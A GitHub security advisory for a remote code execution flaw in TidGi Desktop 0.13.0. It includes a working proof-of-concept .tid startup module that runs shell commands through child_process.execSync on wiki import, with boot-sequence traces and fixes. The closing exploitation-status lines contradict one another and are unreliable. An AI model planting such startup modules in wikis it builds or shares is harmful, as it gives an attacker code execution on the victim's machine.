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GHSA-9hc2-hjx8-q6pv
No affected components available
Description
TidGi Desktop through 0.13.0 contains a critical remote code execution vulnerability exploitable via a single Git repository import. The vulnerability leverages TiddlyWiki's module system, which automatically discovers and executes JavaScript code embedded in .tid files placed in the wiki's tiddlers/ directory:
-
Auto-loading of
.tidfiles (src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92) — when TidGi boots a wiki workspace,loadWikiTiddlersreads all.tidfiles from the filesystem and adds them to the wiki store viawiki.addTiddlers(). -
Automatic module registration (
node_modules/tiddlywiki/boot/boot.js:2564-2565) —defineTiddlerModules()iterates all tiddlers in the store. Any tiddler with amodule-typefield is passed to$tw.modules.define(), registering it as an executable module. -
Automatic startup execution (
node_modules/tiddlywiki/boot/boot.js:2572-2634) — all registered modules of type"startup"are collected and theirexports.startup()function is called during the boot sequence. When noplatformsrestriction is set,doesTaskMatchPlatform()returnstrue, and the startup function executes with full Node.jsrequire()access in the Wiki Worker process.
The full chain was verified on macOS with TiddlyWiki 5.4.0 and Node.js v26 — require('child_process').execSync() successfully executed arbitrary shell commands.
Affected Product
- Product: TidGi Desktop
- Vendor: Lin Onetwo (https://github.com/tiddly-gittly)
- Repository: https://github.com/tiddly-gittly/TidGi-Desktop
- Affected Versions: 0.13.0 (latest release)
- Components:
src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts(tiddler loading),src/services/wiki/wikiWorker/startNodeJSWiki.ts(wiki boot),node_modules/tiddlywiki/boot/boot.js(TiddlyWiki core —defineTiddlerModules, startup dispatch) - Package: tidgi (npm)
Vulnerability Details
Root Cause 1 — .tid Files Auto-Loaded Before Module Processing
File: src/services/wiki/wikiWorker/loadWikiTiddlersWithSubWikis.ts:59-92
const tiddlerFiles = wikiInstance.loadTiddlersFromPath(subWikiTiddlersPath);
for (const tiddlerFile of tiddlerFiles) {
// Register file info for filesystem adaptor
// ...
// Add tiddlers to wiki
wikiInstance.wiki.addTiddlers(tiddlerFile.tiddlers); // ← Line 92
}
File: src/services/wiki/wikiWorker/startNodeJSWiki.ts:256
wikiInstance.boot.startup({ bootPath: TIDDLY_WIKI_BOOT_PATH });
This triggers $tw.boot.startup(), which internally calls loadStartup() → loadTiddlersNode() → $tw.loadWikiTiddlers($tw.boot.wikiPath) (boot.js:2381). TidGi overrides loadWikiTiddlers at startNodeJSWiki.ts:123 to intercept and inject sub-wiki tiddlers, but the original function still loads all .tid files from the main wiki's tiddlers/ directory.
Root Cause 2 — Automatic Module Registration via module-type Field
File: node_modules/tiddlywiki/boot/boot.js:1514-1534 — defineTiddlerModules()
$tw.Wiki.prototype.defineTiddlerModules = function() {
this.each(function(tiddler,title) {
if(tiddler.hasField("module-type") && (!tiddler.hasField("draft.of"))) {
switch(tiddler.fields.type) {
case "application/javascript":
$tw.modules.define(
tiddler.fields.title, // "$:/plugins/poc/startup.js"
tiddler.fields["module-type"], // "startup"
tiddler.fields.text // attacker's JS code
);
break;
}
}
});
};
This function is called during execStartup() (boot.js:2565), after loadStartup() has already loaded all .tid files into the wiki store. Any tiddler with module-type: startup and type: application/javascript is automatically registered as an executable module.
Root Cause 3 — Automatic Startup Execution with Full Node.js Access
File: node_modules/tiddlywiki/boot/boot.js:2572-2576 — Collecting startup modules
$tw.boot.remainingStartupModules = [];
$tw.modules.forEachModuleOfType("startup", function(title, module) {
if(module.startup) {
$tw.boot.remainingStartupModules.push(module); // ← attacker's module collected
}
});
File: node_modules/tiddlywiki/boot/boot.js:2631-2634 — Executing startup
if(!$tw.utils.hop(task,"synchronous") || task.synchronous) {
const thenable = task.startup(); // ← exports.startup() called
File: node_modules/tiddlywiki/boot/boot.js:2658-2677 — Platform check (passes without explicit platforms)
$tw.boot.doesTaskMatchPlatform = function(taskModule) {
var platforms = taskModule.platforms;
if(platforms) {
// ... check each platform ...
return false; // ← only rejects if platforms is explicitly set
}
return true; // ← no platforms field → passes unconditionally
};
Complete Boot Sequence (verified against TiddlyWiki 5.4.0)
$tw.boot.startup() // boot.js:2589
├── initStartup() // boot.js:2393
├── loadStartup() // boot.js:2538
│ └── loadTiddlersNode() // boot.js:2356
│ └── $tw.loadWikiTiddlers(wikiPath) // boot.js:2381
│ └── wiki.addTiddlers(...) // loads .tid files into store
└── execStartup() // boot.js:2553
├── defineShadowModules() // boot.js:2564
├── defineTiddlerModules() // boot.js:2565 ← registers attacker's module
├── forEachModuleOfType("startup", ...) // boot.js:2572 ← collects startup modules
└── executeNextStartupTask() // boot.js:2611
└── task.startup() // boot.js:2634 ← exports.startup() executes
Exploitation Conditions
- No authentication required — importing a wiki is a standard feature
- Only user interaction: click "Add Workspace" → select folder/URL → confirm
Complete Attack Flow
┌──────────────────────────────────────────────────────────────┐
│ Step 1: Attacker creates a malicious TiddlyWiki repository │
├──────────────────────────────────────────────────────────────┤
│ tiddlers/$__plugins__poc__startup.js.tid: │
│ │
│ title: $:/plugins/poc/startup.js │
│ type: application/javascript │
│ module-type: startup │
│ │
│ exports.startup = function() { │
│ require('child_process').execSync('calc'); │
│ }; │
│ │
│ + tiddlywiki.info + any other wiki files │
└──────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────┐
│ Step 2: Victim imports the repository into TidGi Desktop │
├──────────────────────────────────────────────────────────────┤
│ Add Workspace → Clone Git Repository / Open Local Folder │
│ → TidGi boots the wiki │
└──────────────────────────────────────────────────────────────┘
↓
┌──────────────────────────────────────────────────────────────┐
│ Step 3: RCE — startup module auto-executes in Node.js Worker │
├──────────────────────────────────────────────────────────────┤
│ loadWikiTiddlers loads .tid file → wiki.addTiddlers() │
│ boot.startup() → execStartup() │
│ defineTiddlerModules() → $tw.modules.define("startup", ...) │
│ executeNextStartupTask() → exports.startup() │
│ → require('child_process').execSync('...') executes │
└──────────────────────────────────────────────────────────────┘
Proof of Concept
Minimal .tid File (place in tiddlers/ directory)
title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup
exports.startup = function() {
require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
console.log('STARTUP_EXECUTED');
};
Verification Output (macOS, TiddlyWiki 5.4.0, Node.js v26)
$ node -e "
const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
\$tw.boot.argv = ['/tmp/evil-wiki'];
\$tw.boot.startup();
"
STARTUP_EXECUTED
$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt
The message STARTUP_EXECUTED printed from within the attacker's exports.startup() function, and the file /tmp/TidGi-RCE-PoC.txt was created by execSync('touch ...'), confirming arbitrary command execution.
Impact
| Capability | Status | Details |
|-----------|--------|---------|
| Remote Code Execution | ✅ Full Node.js access | require('child_process') available |
| Arbitrary File Read | ✅ | require('fs').readFileSync() |
| Arbitrary File Write | ✅ | require('fs').writeFileSync() |
| Reverse Shell | ✅ | Node.js net module |
| Persistence | ✅ | Write to startup scripts, LaunchAgents, crontab |
| User Interaction | 1 click | Import repository |
| Cross-Platform | ✅ | Windows, macOS, Linux |
Reproduction Evidence
Step 1 — Malicious .tid file content
title: $:/plugins/poc/startup.js
type: application/javascript
module-type: startup
exports.startup = function() {
require('child_process').execSync('touch /tmp/TidGi-RCE-PoC.txt');
console.log('STARTUP_EXECUTED');
};
Step 2 — TiddlyWiki boot with malicious wiki at /tmp/evil-wiki
$ node -e "
const \$tw = require('tiddlywiki/boot/boot.js').TiddlyWiki();
\$tw.boot.argv = ['/tmp/evil-wiki'];
\$tw.boot.startup();
"
STARTUP_EXECUTED
Step 3 — Verified RCE: /tmp/TidGi-RCE-PoC.txt created
$ ls -la /tmp/TidGi-RCE-PoC.txt
-rw-r--r-- 1 nuii wheel 0 Jun 3 00:01 /tmp/TidGi-RCE-PoC.txt
Patch Recommendation
Fix 1: Disallow module-type on User Tiddlers
TiddlyWiki should distinguish between system tiddlers (shipped with TidGi or installed as official plugins) and user-created tiddlers. User-created tiddlers should never be allowed to define module-type.
// In defineTiddlerModules() or equivalent
if (tiddler.hasField("module-type") && !tiddler.fields.title.startsWith("$:/")) {
// User tiddler — silently drop module-type field
return;
}
Fix 2: Sandbox User Modules
If user-created modules must be supported, execute them in a restricted context without access to Node.js built-ins:
// Replace direct require access with a restricted API surface
const vm = require('vm');
const sandbox = { console, $tw, Buffer };
vm.runInNewContext(moduleCode, sandbox, { timeout: 5000 });
Fix 3: Whitelist Allowed module-type Values
Only allow known safe module-type values for user tiddlers:
const ALLOWED_USER_MODULE_TYPES = ['widget', 'macro', 'filter', 'parser'];
if (!ALLOWED_USER_MODULE_TYPES.includes(tiddler.fields['module-type'])) {
return; // Block startup, library, saver, etc.
}
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker does not need any special privileges or access rights. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.
Exploitation activity has been observed. Apply available patches or mitigations urgently.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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